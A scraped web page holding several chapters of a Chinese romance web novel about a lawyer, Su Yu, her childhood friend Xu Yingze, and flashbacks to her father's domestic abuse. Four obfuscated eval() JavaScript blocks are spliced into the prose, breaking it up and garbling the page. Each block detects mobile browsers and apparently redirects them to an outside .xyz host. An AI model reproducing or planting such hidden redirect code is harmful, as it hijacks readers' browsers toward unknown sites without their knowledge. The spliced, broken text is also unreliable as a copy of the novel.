;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16295523|182724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 律师、女助理在茶水间扎堆闲话八卦他的个人生活。苏郁和韩飞虽然关系好，但行事风格又偏强硬，像个铁“直男”，几乎没有人会觉得她和他之间会发生什么。 可老毛病偏偏在这时候发作，她不觉得是自己太过敏感。 就像一根天线，一旦触发机制被拨动，就会持续的—— 恶化。 今天这顿饭是吃不了了。 苏郁心里忽然有些发闷，拿起手机在微信联系人里划了一圈，在一个名字上停了停，犹豫着犹豫着，最后还是点了进去。 上一次对话聊天停留在半年前。 “祝医生，”苏郁敲着字，“这周能预约见一见么？” 那头像是有空，回得很快。 “又发作了？” “……不算吧，但有迹象。” “治疗要坚持。”对方话不多，“这周日下午可以。” “好的。” 放下手机，苏郁闭上眼睛。心绪更纷杂了。 韩飞是重要的工作伙伴。 她在心里重复。 嗯。 伙伴。 这时韩飞带着柠檬水回来，见苏郁在解安全带，不解地问：“怎么了。” “对不起，”苏郁一脸抱歉，“我忽然有些不舒服，得先回去了。”说着，解下安全带就要下车。 韩飞拉住她：“我送你。” 苏郁强忍住想甩开他手的下意识反应，慢慢把手抽出来：“对不起。”然后落荒而逃。 韩飞没追。 他是聪明人，对方隐隐的拒绝让他有些受挫。回头，车后座包装精美的纸袋静静放置着，也不知还有没有机会再送出去了。 ******* 城市街道很吵闹。 车辆穿行，人声沸语，偶尔几声鸣笛声夹杂在其中。苏郁慢悠悠地走着，走啊走啊，往人群中走去，似乎这种来自外界的热闹能够填满内心深处的空洞，驱散她心头萦绕不散的阴霾。 路过街角一家露天咖啡店的时候，一对年轻情侣的聊天飘了过来： “你爱不爱我？”女孩儿甜美可人，依偎着男友的臂膀，娇娇地问。 “爱。”男孩儿无奈又宠溺。 年轻情侣之间的聊天内容实在没什么质量可言，腻腻歪歪，仿佛要把两人间多出来的糖份晒成糖霜分洒给所有人，让他人帮忙见证，以为这样就能使这份感情得到终身表彰。 可是…… 不觉得可笑么？ 苏郁扫了两人一眼，嘴角一抹冷笑乍起又飞快地隐没。继续往前走，那两人的对话很快被甩在了后面—— “有多爱？” “……” “怎么不说话！是不是想敷衍我！” “……比你爱我，多得多……” 作为半个旅游城市，D市的步行街很不一样。绕着护城河围了一条金光璀璨的带子，夏夜里尤其美丽。两岸的灯光会在河面捏成一池星火，随着水流粼粼飘荡、游走。 苏郁找了处公共座椅坐了下来，看着人流来往，接踵比肩，她抱住双臂，不知怎地有些冷。 这时候手机响了起来。 巧得很。 还是徐影泽。 8. 电影（一） “这个时间段，最近的影院只有这部。” 苏郁接过徐影泽递过来的手机，查看上面展示详情页的电影名字。 是一部爱情电影。 看简介，讲述的是一对原本非常投契的恋人，在经历了恋爱、同居、工作现实磨合等一系列事件后，最终结束五年的感情分道扬镳的故事。 因为即将下映，加上临近午夜，场次寥寥。 “看吗？”徐影泽问。 苏郁其实对爱情电影没什么兴趣，但又不大想立刻回家，犹豫再三，还是点了点头。 这头徐影泽出完票，苏郁拿着爆米花套餐走了过来。徐影泽无奈一声叹息：“早说了，我一起买。” “计较这做什么。谁买不都一样？” 徐影泽又叹了口气，隐隐有点不大高兴的样子。苏郁察言观色，轻声问：“生气了？” 哪怕一起相处这么多年，徐影泽有时候生气的点她也不是很能理解。一份爆米花套餐，也值得气一场？ 而且花的又不是他的钱。 不懂。 “现在的时间是……九点十五分，”徐影泽看了看表，“还有十五分钟开场。在那边坐一坐，等等吧。” 他指着不远处的小圆桌，接过苏郁手上的东西，径自走了过去。苏郁跟在后头说：“你今天不工作？” 徐影泽帮苏郁拉开椅子，在对面坐了下来：“上个项目做完了，最近没有新的安排。” “哦。”苏郁坐下，看着影院周围来来往往的人，有些感慨地说，“感觉上次看电影是好久之前了。” “大律师，”徐影泽阴阳怪气地调侃，面上云淡风轻，“忙得没时间吧。” 是啊，平时约着一起吃顿饭都难得紧，更别说电影了。这种二人世界今年过来更是稀罕事。结果呢，今天，这人和男同事相约一起吃饭，自己还是个备选，还是他死皮赖脸打电话过去的！ 徐影泽啊徐影泽，忍者神龟都没你能忍。 “看你这话说的，”苏郁低头看着手机，眼睛都没抬，“你忙起来不也是几天都不出门？” “跟大律师比不了，”徐影泽说，“多少我心里还能装着点别人。”瞧瞧这话，说的像闺怨小娘子似的。他心里忽然一阵愤恨，拿起可乐喝了口。 似乎是一场电影刚散场，不远处俩小孩手拉着手从出口跑了出来，叽叽喳喳讨论着刚才看过的剧情。苏郁注意力在俩孩子身上停留了一小会儿，然后想起什么似的，唤徐影泽说：“喂，你还记得咱们小时候第一次一起看的电影么？” 徐影泽怔了怔。 “嗯。” “我记得当时是我第一次去电影院看电影，之前都是学校的放映室。” “是吗。”徐影泽淡淡说，看不出有什么情绪，“记不清细节了。” “我还记得，当时看的好像是《英雄》？主角死的时候，我哭得眼泪哗啦啦的。哈哈哈。” “还有五分钟，”徐影泽站起来，拿起桌上的东西，“进去吧。” “哦。” 验完票，找到位置坐下。无言中，影厅内灯光落幕，黑暗将两人笼罩其中。 徐影泽陷在座椅中，看着幕布反射出的光在身旁女孩儿白净的脸上砸下深深浅浅的影子。随着龙标熟悉的音乐响起，他的思绪也跟着回到十多年前，有关两人第一次共看电影的那段过往…… ****** 这天徐影泽和王虎一众踢完球散伙，满头大汗地回到家。母亲从包里掏出两张纸片儿交给他，脸上挂着笑：“单位发了两张电影票，这周六下午的。你不是交了新朋友么？带要好的朋友去看吧！” 徐影泽其实并不清楚他现在是否有了朋友，也不知道王虎他们究竟算不算朋友。 但如果非要和一个人一起去看，他还是想和苏郁去。 于是徐影泽带着电影票，一溜小跑去了苏郁家楼下。 今天苏郁没有和他们一起玩，说是她出差的父亲回来了，得和家人一起吃饭。然而徐影泽到楼下后才发现，她家窗户里黑漆漆的—— 仿佛没有人在。 可放学回家时候，他亲眼见到她进单元门的。 徐影泽在楼下站了一小会儿，因为担心约晚了，苏郁周六有别的安排，最后还是决定去她家找她。 苏郁的妈妈徐影泽见过，是个很温柔有气质的阿姨，应该不会介意他冒昧打扰的。 “哼哧哼哧”爬到四楼，徐影泽在苏郁家门前喘着气站定。 他平复了一下紧张的心情，抬起手正准备敲门，门内传来隐隐约约的哭泣，引起了他的注意。 现在虽然不算很晚，但楼道里安静得气氛很怪。 临户家电视机细碎的杂音隔着门透过来，好似暴风雨中的车载电台。 那压抑的啜泣声每响起一下，门内就是一阵踢里哐啷的物体碰撞，响亮的巴掌声一下接着一下，直到那啜泣被生生塞回嗓子，变成闷哼，变成痛苦的喘息。 接着又是溺水般的静默。 早慧如徐影泽，立刻明白门内正发生着什么。 他不太清楚门内挨打的人是不是苏郁。 他此刻能做的……只有敲门。 “咚咚咚”。 徐影泽急切地拍着门，口中不忘喊：“苏郁！苏郁！” 他不知道自己敲了多久，也许因为他的执着，过了一会儿后，门开了，苏郁穿着运动服站在了门口。 因为屋子里没有亮灯，窗帘下，外间的光也透不进来。她的背后一片漆黑，如同幽邃的深渊。 深渊里野兽低沉粗重的呼吸若隐若现。黑暗中的某个角落，徐影泽知道，一定有双眼睛在窥伺着门外发生的一切。 “怎么了？”苏郁轻声问。 她嗓子沙哑，鼻子不通气，明显刚哭过。 徐影泽往屋里探着看了看，但是什么也看不清。只能犹豫着说：“王虎说找你有事，让我来跑趟腿。” 他撒谎了，因为他不觉得说实话，能让她顺利跟他离开那个恐怖的地方。 苏郁回头扫了一眼屋内，摇了摇头。 “我不能去。” “真的，很重要的事！”徐影泽尝试去拉她的手。 楼道的灯闪烁了一下，苏郁的眼睛在昏暗中亮得很坚定，她重复着： “我不能去。” 于是徐影泽只能眼看着她回到那片黑暗里。 门关上的一瞬，苏郁看着他，然后浅浅地笑了。 徐影泽忽然想起那个不久前的月夜。 那时候，她眼睛里的东西和现在是一样的—— 徐影泽跑回了家。 他把苏郁家里发生的事情转述给了徐妈妈：“妈妈，能不能帮我把她带来咱们家呀！” “影泽，我不能，”徐妈妈沉默了一会儿，“这是别人家的家事。” “可她家……” “影泽。”徐妈妈叹了口气，打断他的话，“这不是你和我能管的。” 接着，徐妈妈向徐影泽讲述了她从街坊邻里间了解到的情况。 苏郁家的事在小区里并不算是什么秘密。 苏郁的父亲在银行工作，母亲则是全职家庭主妇。 大约从两年前开始，邻居就经常能听到他家夫妻俩争吵，闹得很凶。有时候大半夜，隔着楼栋都能听见两人对骂，以及小孩的哭声。 再往后，吵架不知道怎么不太能听见了，换成了包裹严实的苏妈妈，躲着人流高峰买菜的怪相。 有人说，那遮住的，都是被她家男人打出来的伤！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16295524|182724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偶尔闹得凶的时候，楼层上下依然能听到女人的哭喊和求饶。有邻居看不过去，报过警。可警察来取证的时候，却又总是被苏妈妈找借口拦了回去。 “夫妻之间的小事，”她总是说，“没什么。” 邻居怒其不争，她却公开哭嚎说这是他们家的家事，不需要外人来管。久而久之，也就真的没人再多管闲事了。 “可怜的还是孩子。”徐妈妈感慨。 徐影泽想：是啊，苏郁又做错了什么呢？ 第二天上学苏郁没有出现。 徐影泽心中不安，一放学就去了她家楼下等。等啊等啊，没等到人。 第三天。 老师说苏郁要回老家，请了小一周的假。 同学间互相使着眼色，对此见怪不怪。 因为苏郁几乎每隔两三个月就会请这么一次“探亲假”。 天下没有不透风的墙。 因为学校离得和小区很近，这背后的隐秘早已是公开的谈资。 课间徐影泽誊笔记誊写到一半，听到班里有调皮好事的男孩儿在高谈阔论说：“我听我妈说，她老爸这次出差回来又动手打人了！她哪里是去探亲，是被她爸爸打到躺在家里出不来！” “三好学生也有这种时候！” “打得好！你愣是不知道她平时好管闲事那样儿，班委也没选上她，天天拿自己当大队长耍威风呢！” “就是就是，那天我值日跟隔壁班的吵了几句嘴，她还跑来教育我说我这不对那不对。多管闲事！” “这回让她老爸好好收拾收拾，活该，哈哈哈！” 旁边尚不懂善恶是非的小孩跟着“哈哈”大笑，仿佛觉得他人的痛苦只要不发生在自己身上，就只是一桩可笑的趣闻。 徐影泽被笑声激怒。 他看了眼空荡荡的邻座，放下笔，忍不住站起来，走向声音传来的地方，对着笑得最欢的人就是一拳头！ “啪！”很响的一声，对方站不稳，连着板凳摔倒在了地上。动静之大惊得全班噤了声。 “你干嘛？！”旁边个头高的推了把徐影泽。徐影泽又是一拳头，砸在推他那人的下巴上。这时被打翻在地的小孩也爬了起来，和高个头一起，你一拳我一拳跟徐影泽打了起来。 有女生尖叫着跑去叫了老师。班主任风风火火赶到的时候，已经多出三四个人加入了战斗。徐影泽眼睛挨了一拳头，脸颊也挂了彩，直接肿了起来。 之后自然是叫家长。 徐昀在办公室一个劲儿向其他家长说“对不起”，作为心高气傲的能力型技术主任，他这辈子怕都没这么低声下气过。 “臭小子，先动手的，道歉！”徐昀一边按着徐影泽的头一边陪着笑。徐影泽侧着脸，倔得很，就是不肯张嘴。 因为孩子年纪还小，也没造成什么严重的后果，几名家长数落了几句也就散了。 有惊无险。 回家路上，徐昀走在前头，徐影泽跟在后头。夕阳昏昏，两人影子一长一短。 父子俩也不说话，慢悠悠地往家走，如果不是徐影泽高高肿起的脸，这一幕就像餐后亲子散步，温馨得很。 然而都是假象。 徐昀的教育方针和妻子的温和包容是相反的，他不觉得小孩放养就能走向正直，如果小孩有变坏的迹象，那一定是要通过父母责任进行干预的。 走到小区里往来人不多的地方，徐昀刚想拉着徐影泽坐下好好谈谈今天的事，就听徐影泽先开口问了。 “爸爸。” 徐影泽情绪很低迷，徐昀本以为是打架加请家长的事让他沮丧，结果儿子说出的话让他直接愣住，一时之间甚至不知道该怎么回答。 “人为什么会伤害自己的家人呢？” 9. 电影（二） 徐影泽踩着父亲的影子，一小步一小步，这种属于父子之间的深谈并不多。 “为什么忽然这么问？” 徐昀谨慎地回。他了解自己的儿子，很多应付同龄小孩的话术方法并不太适用。这小子早慧，人又精，不能哄不能骗，讲道理也不一定听。遇到问题有时候会刨根问底地问，他真怕自己哪里说的不好，把本来就有点歪的儿子带得更歪了。 “就……”徐影泽垂着头，高高肿起的侧脸让他比平时多了几分乖巧，“我有个朋友……她的爸爸……会、会打她和她妈妈……你会打妈妈吗？爸爸。” 徐昀被孩童貌似天真的问话问倒，一时语塞。 暮色深处光影交织，像是成人复杂世界的黄昏线晦暗的灰黑被稍稍掀开一角。徐昀沉默了很久，幽幽地回儿子说：“影泽，有的大人很懦弱。” 徐影泽眨着眼睛，努力领会着父亲话里的意思。 “他们没有勇气对抗比自己强的人，所以才会把手伸向弱者，尤其是无条件接纳包容自己的家人。” “这岂不是很卑鄙。”徐影泽皱着眉。 “是啊，”徐昀蹲下来，看着儿子，“爸爸不是这样的人，你也不可以成为这样的人。” 徐影泽点着头。 “我永远也不会。” 那个晚上徐影泽失眠了。 在床铺辗转很久后，他终于忍不住爬起来看向窗外，视线落回苏郁家的窗户，正想着女孩儿怎么样了，就见本是一片漆黑的小窗忽地亮了一下，一道小小的影子一闪而过，接着又是黑暗。 徐影泽脑中隐隐有个念头，这个念头促使他爬起来，披着夜色去了某个地方。 果然，苏郁又出现了首次遇见的小路尽头。 跟上次一样，她正撑着双手，贴着墙，倒挂的脑袋微微抖动着。不知道是不是因为家里事的影响，那杂草一样的头发更乱了。 徐影泽犹豫着，走了过去。 “苏郁。”他叫她的名字，不忍心看她的脸。虽然今天月亮不那么亮，但他知道，那张脸此刻应该不是干燥的。 苏郁没有说话，很久之后才轻轻“嗯”了声。 克制的哭腔。 “我……”徐影泽思考着，他不知道自己此刻说什么合适，在他人的不幸面前，所有的言语都显得异常苍白。 他比她幸运太多。 徐影泽从小到大哪怕使再多歪心思也没挨过一巴掌，母亲鼓励他自由成长，而父亲，很多时候做得过了也只是训斥几句，重话都很少。 这样的他，说出来的话可有那么一丁点的信服力？ 徐影泽没这样的自信。 口袋里的电影票隔着衣料炙烤着他的腿，仿佛在质问他，撞破别人家这种事后，这张票还适合送出去吗？ 他犹豫半天，只能吐出一句轻飘飘的，连安慰都算不上的安慰：“想哭的话，就哭出来吧。” 苏郁咬着唇不说话。 “不要这样折腾自己了，”徐影泽说，“感觉很辛苦。” 是啊，如果实在难过，找他说，他会好好听的。 苏郁没反应，还是倔强地撑着小小的身躯，抖得筛糠似的。 于是徐影泽在她旁边站住，学着她的样子，倒立了起来。 世界整个颠倒，翻转，地变成了天，天变成了地，而脚下踩着的是星空。 夏蝉在耳边声嘶力竭地叫着，徐影泽听着自己的呼吸，和苏郁的撞在一起，这一刻，两人之间的距离很近很近。 “我陪你。” 徐影泽说。 苏郁还是没说话。 “天空倒着看，原来是这样的。”他尝试寻找话题，希望用寥寥的陪伴给予女孩儿安慰，“你每次倒立的时候，看到的世界，原来是这样的。” 脑袋倒立的感觉算不上很好，好像所有血液集中在了头部，让人感到大脑昏昏然，有些发涨。 翻转视野的体验徐影泽以前不曾有过，因为在他过往的认知里，这样的行为并不算得上雅观。 但现在和苏郁并肩在一处，他的心里却有种雀跃的复杂滋味，像是敲碎了一颗夹心糖果，丝丝缕缕的甜蜜渗出来。可转念他又觉得，自己现在微妙的欢喜心情有些不合时宜，毕竟现在的苏郁一定很难过，他又有什么办法能让她感到开心呢？ “……我，妈妈给了我两张电影票，”徐影泽尝试着说，“如果你心情不好，要不要一起去看？” 苏郁没回话。 僻静的小区一角没什么光亮，对面居民楼零星的灯火亮了又灭，沉默中夜风轻轻拂过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16295525|182724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，送来远处孩童和散步行人听不分明的人语。 徐影泽望着一面俨然是厨房的窗，在等待中微微失神。 玻璃擦得很干净，也因此能看清房间里忙碌的人影。 那是一对二十来岁的年轻夫妻，一人在水龙头和案板前低着头洗菜切菜，另个人在灶台边颠着锅翻炒。如昼的光亮里，切菜的女人把手上的食物递到男方嘴边，男人一口吞下，接着皱起眉，五官都拧在一处，表情夸张，逗得女子笑弯了腰。 徐影泽看着这幅温馨场景，莫名开始幻想起自己和苏郁的未来。 苏郁长大后，会是什么样子呢？ 他们长大以后，是否也会有这样温馨相处的画面？ 小苏郁并不是一个喜欢过度沉溺在悲伤痛苦中的人，两人贴着墙倒立了一会儿后，像是整理好了情绪般，她忽然打断徐影泽的想象，闷着鼻子主动问他：“不是有电影票吗？现在去看？” 徐影泽愣了一下：“……电影是周六下午的，在明天。” 苏郁从倒立状态落地，拍拍手上的灰尘，站直身体，看着徐影泽：“我知道一个可以现在就去看的地方。” “而且还不要钱。”她补充了句，尽管声音是哑的，但语气认真，还带着几分小小的得意。 徐影泽也跟着把脚落了下来，但毕竟动作不熟练，落地时身体打了个晃，整个人翻身跌在了地上。 倒地的一瞬间，徐影泽气血上涌，脸火辣辣地发烫。 在苏郁面前这样，岂不是让自己颜面彻底扫地…… 但听到苏郁因为自己跌倒，而止不住的咯咯笑声时，他蓦然想起刚才看到的画面，顿时觉得这一跤似乎并没那么糟糕。 抬起头，坐在地上，徐影泽寻找着她的脸，试图在阴影中看清女孩儿的笑容是否真切，却在笑声中看到一双手，朝着自己伸了过来。 “你还好吗？”苏郁递着手问。 “……” 借着稀薄的亮光，徐影泽看见了她眼底的关心，真情实意。 像是被什么触动，他下意识说—— “……挺疼的。” 不过是跌倒而已，其实，什么都没有。 但…… 女孩儿关切的神色，让他感觉…… 挺不错。 10. 电影（三） 徐影泽眨眨眼睛，脑中飞快编织出一条无伤大雅的谎言：“刚才跌下来的时候，好像扭到脚了。” 没有伤害任何人的谎言，没关系吧。 如果徐爸爸看见了，一定又会说：“这小子一肚子坏水，又演上了。” 苏郁果然相信了。 “啊？”那只手晃了晃，然后带着它的主人冲了过来，搭上徐影泽的肩，另一只手揽过他的胳膊，“我扶你去王叔那看！” 苏郁嘴里的王叔，是小区门口诊所的主治大夫，也是孩子王王虎的父亲。 小城市的人际关系，总是低头不见抬头见。 对街超市是B班某某某父亲开的，拐角的麻辣烫店店主是哪个经常在楼下散步拉路人聊天的阿姨的女儿。派出所新来的实习警察是家住十二栋李叔叔的儿子。而王虎的父亲，同样也是小区居民头疼脑热跌打损伤时，不作二选的万能“神医”。 徐影泽听她说要找王叔，有些紧张，生怕自己的小九九被揭穿：“不、不用，找个地方坐坐，休息一下，也许就好了。” “那不行，真扭伤了怎么办？后面走路都不好了。” 有人说，一个谎总要十个去圆，徐影泽在大脑中翻找着新的借口，又被靠得极近的苏郁身上的热度和气味弄得两眼昏花，紧张得不知所措，半天都没能想出一个。 自己向来好用的脑子怎么在苏郁面前这么不经使唤呢！ 憋了半天，最后只汗流浃背地回：“真没事，你不是说有免费看电影的地方么？我们直接过去，说不定等电影看完就好啦！” “不行。” 刻在女孩儿骨子里的固执此时也初现端倪。 她不由分说，扶着被迫假装一瘸一拐的徐影泽就往大门外走：“看完大夫再说！” “……” 徐影泽有些后悔自己给自己挖得坑了。 头一次。 好在小诊所的条件并不算好，也因此不具备足够先进的诊疗机器。 王叔仅凭自己近视三百多度的肉眼，并不能看穿徐影泽皮下的筋骨，是否真的有什么损伤。 他抓着徐影泽的腿捏了又捏，徐影泽只能配合着表现出疼痛的抽气声。一直到王叔皱着眉疑惑地嘟囔：“没肿啊……按理来说，应该没什么大碍，可能只是扭了筋。” 说完不忘建议：“要不你们先回家观察下，明天要是肿了去大医院拍个片子看看，我这儿只能给你们开点伤湿止痛的药膏什么的应应急，先贴上试试。” “……王叔，”苏郁忍不住嘟囔，“你真不靠谱。” “死丫头，我又不是万能的！”王叔给了苏郁一个爆栗。 徐影泽看着他们互相打趣。 苏郁是小区原住户，本就跟其他人更熟悉些。 可每当她和其他人产生这种，只有老熟人彼此才心知肚明的场域和互动的时候，徐影泽心里就莫名有些不爽。 因为，这个时候，自己就像是个外人。 其他人也就罢了，他对他们并没什么兴趣，但他不能接受自己在苏郁面前像空气一样，被视而不见。 为了打断他们，徐影泽又佯装大声地哼哼了两声，以吸引苏郁的同情和注意。 “王叔，”苏郁这才想起要跟王叔要消炎止痛的药贴，她从自己并不富裕的口袋里掏出一把零钱，仔细数好了确切的金额递给他，仿佛已经购买过很多次似的，“只贴药贴够吗？还需不需要擦红花油？” 顿了顿，她像是想起来什么，兀自摇了摇头：“不行，擦完红花油再贴药贴容易过敏，还是算了。” 王叔犹豫了一瞬，把苏郁递钱的手推了回去：“……算了，丫头。就一盒药，叔送你们。” “不行，”苏郁很执着，“是多少就是多少。” 她坚持放下钱，把徐影泽带走了。 等出了诊所门，苏郁拉着他找了处台阶坐下，问：“还疼吗？” “……不太疼了。”其实根本没疼过。 苏郁从盒子里拿出一张药贴，熟练地撕开贴膜，躬身，指着徐影泽脚腕的某个位置：“是这儿吗？” “……嗯。”只能先糊弄过去了。 苏郁手上的动作很轻。 她低着头，细碎杂乱的头发半贴在脸颊两侧，随着她的动作，一晃一晃地。 这份专注并不徐影泽的谎言而失色分毫。 柔软的指尖滑过徐影泽的皮肤，力度不轻不重，像是怕弄疼他似的，还时不时抬头关心：“疼吗？” 那双在白日晶晶亮得像宝石的眼睛里盛满了担忧，而认真的模样，不知怎的，让徐影泽内心腾起一阵愧疚。 “……不疼了。” “那就好，”苏郁像是松了口气，垂下头捋平药贴的四个角，继续关心，“走路怎么样了？” “嗯，”徐影泽站起来，为了让她安心似的走了两步，但又不敢走太多，“不打紧了。” 苏郁这才彻底放下心来。 她没有怀疑徐影泽，只是说：“我妈妈有次……” 语气顿了顿：“扭到脚，很严重，足足跛了好几个月呢。” 徐影泽熟悉这种停顿，他每次想掩饰什么，又或是找什么借口之前都会这样停顿一下。而停顿之后说出来的话，都是经过大脑加工，深思熟虑过的。 “所以一定要注意！要及时看大夫！”女孩儿叮嘱。 “你……”徐影泽张了张口，但话到嘴边，又把剩下的内容吞了回去。 揭人伤疤这种事他从来都不喜欢。 更何况这个人是苏郁呢？ “怎么了？”苏郁睁着疑惑的大眼睛问。 “……没什么。”他别过了脸，不敢看她，因为不想被这样灼心的目光拷问。他的谎言原本只是为了获得女孩儿更多的关心和爱护，可现在却像是秤砣一般挂在心头，满满的全是后悔。 “对了，”忽然，苏郁握住了他的双手，“你是不是能走路了？走！咱们一起看电影去！” 徐影泽被她突如起来的动作惊了惊，被迫正面看向她。 就见女孩儿一扫之前的沉郁，看着他的眼睛，露出大白牙，笑得一脸灿烂。 徐影泽感觉自己的脸在火辣辣发烫，努力再把头别到一边，结结巴巴地问：“……这个点，电影院都关门了，能去哪看？” “说了，我知道一个地方可以。”苏郁拉起徐影泽，沿着小区大门附近一条黑漆漆的小巷一路往前。 巷子里没有灯，巷道七拐八拐弯弯绕绕，两侧不是上下三两层的零散居民楼，就是卖杂货和餐饮小食的营业商铺。 店面昏黄的光亮照亮了铺子，也照亮了两人去时的一小截路。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16295526|182724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有居民搬了折叠桌，在楼下的路边面对面坐着，背心往上一掀，敞着肚子，桌上、脚边分别摆着几瓶看不清牌子的啤酒，配着花生米和蒜泥黄瓜，边下酒边聊着天。 还有不忙碌的店主搬了张小凳坐在门口，穿着凉拖扇着扇子乘凉，见到苏郁后笑着跟她打招呼，问：“呀，小郁儿，这么晚带着你的小男朋友去哪儿玩呀？” 徐影泽：“……” 这种调侃让徐影泽有几分窃喜。 他忍不住侧头去偷看苏郁的反应，却发现她的表情如常，像是没听见对方话里“小男朋友”几个字似的。 苏郁没有否认也没有承认，只是说：“我们准备去看电影呢！” 对方恍然，手上的扇子多扑腾了几下：“那得赶紧点了，估计都快结束了！” “谢谢大叔！” 苏郁加快了速度，开始一路小跑。 没有光照且行人稀少的地方，行道树的枝叶合着电线、藤蔓，以及一些楼栋高层窗口伸出来的晾衣杆，在地上砸出歪歪扭扭的影子，像是恐怖故事里常写到的鬼影。徐影泽跟在苏郁身后，两人一起，将这些阴霾一一踩在脚下，一齐向着前方拐角盈盈发亮的某处奔跑。 被她抓着的手心有些发热出汗，却像是黏合剂般让两人的手握得更紧。 不一会儿，路上的行人多了起来，影视音响也越来越清晰，等拐过街角，徐影泽看到宽敞的路边，零零散散的附近居民搬着凳子，围坐在贴墙挂着的一张白色幕布前，上面正投映着经典电影《泰坦尼克号》。 “这家的大叔很喜欢看电影，说是年轻时候经常在他们村子里和乡亲们一起看，后来搬来了城市，家家户户都有电视机，也没这种大家一起看电影的活动了。因为怀念，就自己买了投影仪和幕布，每天晚上在家门口放一部，缅怀一下当年的氛围和感觉，”苏郁拽着徐影泽找人借了张小凳子，挤着坐下，然后指着前面的幕布说，“不过今天咱们来的有些迟了，电影快放完啦！” 斑驳闪动的光影画面很快吸引了苏郁的注意，她安静了下来，紧盯着幕布。徐影泽和她靠在一起，看着她，对电影本身，却提不起什么兴趣。 女孩儿的体温贴着徐影泽，淡淡的熟悉的气味萦绕在鼻腔，和他自己的交织。徐影泽意识到什么，看向自己脚上的药贴，才后知后觉地发现—— 这和苏郁身上的味道，是一样的。 结束回忆。 电影也演到了尾声。 苏郁望着落幕的演职员表，像是还在回味情节，为主角遗憾般深深叹了口气，影院灯光点亮，驱散黑暗，她转头，才发现徐影泽单手托腮，撑在扶手上，歪头侧脸盯着自己看，忍不住问：“怎么了？” 徐影泽闻言，佯装漫不经心地收回视线，坐正，低头看着自己放在腿上交握摩挲的双手，唇角勾了勾，用苏郁几乎听不清的音量低声轻语了句：“……可能你已经忘了。” 我们第一次一起看电影，不是在电影院。 “什么？”苏郁果然没听清。 徐影泽笑了笑：“没什么。” “到底怎么了？”追问，“看我干嘛？” “……说了没什么。” 其实她不知道的是—— 他已经这样看了她很久。 很久。 久到他已经快疯了。 11. 消息 回到小区，已经临近十二点。 徐影泽在露天停车场停好车，解开安全带。就见苏郁抱着胳膊，斜斜靠着窗望着外间发呆，一动不动，也不知道在想什么。 车还没熄火，徐影泽顺手摁了两下喇叭，骤然的鸣笛吓了苏郁一跳。 “干嘛！”她回过神，捂着胸口，心有余悸。 “想什么呢？”徐影泽看她一眼，凑过去帮她把安全带解开，顺其自然的动作，苏郁坐着没动，与对韩飞不同，她似乎习惯了徐影泽这样的服务。 苏郁抬起头对躬身看着自己男人叹了口气，皱着眉，有些无助地看着他的眼睛，自下而上的：“……有些不太想回家。” 徐影泽感觉自己心跳漏了一拍，但又要装作漫不经心的样子摁下心头的悸动。 他不动声色地坐回驾驶座，望着挡风玻璃外的绿植，一边回想着她刚才有些撒娇意味的委屈眼神，一边深呼出一口气，嘴上半带真心半带调侃地试探：“……那、再在我家住一晚？” “不行，”苏郁摇摇头，“昨天就没回去。” 徐影泽沉默了一瞬，了然：“嗯。” 苏郁仰起头，让背紧贴车座靠背，看着车顶失神。 沉默飘荡在空气中，她不说话，他也不接话，就这么静静地，十分默契地沉浸在各自的心事里。 车里很暗，附近的路灯也昏昏，给汽车鲜亮的外壳镀上了一层老旧的古铜，弱化了它的格格不入。徐影泽犹豫了一会儿，忽然说：“拆迁审批下来了。” 苏郁怔了怔，坐直了身体，看向他：“哪听来的？” 徐影泽头发有些长了，碎发垂下来半遮住眼睛，只露出英挺的鼻梁。察觉到苏郁的视线，他微微斜过头回看了她一眼，目光相接后又飞快地收回，搭在方向盘上的手几不可查的收紧了些。 “有个在公职单位做建筑设计的朋友，他那边消息早一些。说是再有几个月就发公告。” 苏郁坐了回去。 “……之前就有听说老城区改造的事，没想到来得这么快。”她的语气似乎有些低落，全然没有即将收获一大笔拆迁安置费的喜悦。 “这片区有些年头了，”徐影泽学着她，把自己陷进车座，同步望着车顶，有些缅怀，“我搬来这里……也快二十年了吧。” 